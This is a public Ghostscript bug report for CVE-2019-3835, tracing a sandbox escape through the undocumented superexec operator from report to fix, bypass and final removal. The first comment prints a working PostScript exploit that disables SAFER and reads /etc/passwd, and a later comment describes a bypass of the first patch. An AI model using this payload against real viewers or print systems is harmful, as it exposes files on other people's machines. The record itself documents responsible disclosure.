Bug 700585

Summary: is superexec still available ?
Product: Ghostscript Reporter: Cedric <cbuissar>
Component: Security (public)Assignee: Ray Johnston <ray.johnston>
Status: RESOLVED FIXED    
Severity: normal CC: carnil, dr, jsmeix, marc.deslauriers, mosvald, till.kamppeter
Priority: P4    
Version: unspecified   
Hardware: PC   
OS: Linux   
Customer: Word Size: ---
Attachments: PoC bypass commit 20559175

Description Cedric 2019-02-11 15:54:42 UTC
Hi all,

I was auditing ghostscript and I admit that I am unsure if I am doing something wrong when compiling against upstream, or if there's a major hole via superexec still being accessible, simply requesting it from internaldict with the magic number :

GS> { systemdict /SAFER false put systemdict /userparams get /PermitFileControl [(*)] put systemdict /userparams get /PermitFileWriting [(*)] put systemdict /userparams get /PermitFileReading  [(*)] put } 1183615869 internaldict /superexec get exec
GS> (/etc/passwd) (r) file dup 64 string readline pop == closefile
(root:x:0:0:root:/root:/bin/bash)

Best regards,

Cedric
Comment 1 Chris Liddell (chrisl) 2019-02-12 16:24:06 UTC
It's still available - it's not trivial to remove, since (probably) the largest producer of Postscript out there (the Windows Postscript printer driver) actually uses it.

We are looking at solutions that mitigate the threat, but still allow the PScript5.dll output to work.
Comment 2 Cedric 2019-02-13 09:32:49 UTC
Thanks for confirmation and for looking into it! 

I successfully used this flaw against a couple of popular Linux PS viewers.
Comment 3 Ray Johnston 2019-02-16 08:13:22 UTC
Fixed by commit 20559175

Because PScript5.dll uses the superexec operator (under some instances) from
the internaldict, we can't totally eliminate it, but this patch restricts the
usage to a specific usage (writing into a /Private key in a dictionary
using a procedure that is a length 1 packedarray). This passes our testing
which includes PostScript files that contain references to superexec, but
we haven't checked to see if it is actually executed successfully (it may be
that other parts of the ProcSet check for things that cause it to not be
used).
Comment 4 Cedric 2019-02-18 09:23:44 UTC
Looks good!

When would you want to make it public ?
Comment 5 Cedric 2019-02-19 19:33:44 UTC
Created attachment 16917 [details]
PoC bypass commit 20559175
Comment 6 Cedric 2019-02-19 19:38:09 UTC
Hi,

I just realized that the current fix is not sufficient (dunno if I should create a new BZ or re-use that one, so I ll just re-use that one for now)

The issue is that there's no check of the content of the stack. An attacker can use error handler and modify the stack as the code executes, and let the code finally fail on the -ifelse- with a non-boolean.

Checking the content of the stack to prevent any errors, and probably adding `executeonly` on in the /if/ block part of the -ifelse- should help around it.

(see PoC attached)
Comment 7 Ken Sharp 2019-02-20 09:06:26 UTC
Can't go straight from resolved to confirmed, so had to go via unconfirmed status first, apologies for the extra email.
Comment 8 Cedric 2019-02-22 09:19:06 UTC
This is CVE-2019-3835
Comment 9 Ray Johnston 2019-02-25 06:20:33 UTC
I don't think we even need superexec anymore. It isn't documented, and it
a definite security hole, so the best thing is to eliminate it.

gs_cet.ps now uses .forceput in a protected fashion, so we might as well
drop this undocumented security hole.
Comment 10 Ray Johnston 2019-02-25 17:33:09 UTC
Fixed by commit d683d1e6

Obliterate "superexec". We don't need it, nor do any known apps.
    
We were under the impression that the Windows driver 'PScript5.dll' used
superexec, but after testing with our extensive suite of PostScript file,
and analysis of the PScript5 "Adobe CoolType ProcSet, it does not appear
that this operator is needed anymore. Get rid of superexec and all of the
references to it, since it is a potential security hole.
Comment 11 Cedric 2019-03-11 19:28:29 UTC
Hi,
This latest fix is perfect, no way bypassing that one :D

Is it ok if we disclose it on Thursday March 22 ? (both BZ 700585/CVE-2019-3835 and BZ 700576/CVE-2019-3838)

Given the situation, I think it might be better to have a coordinated fix among distros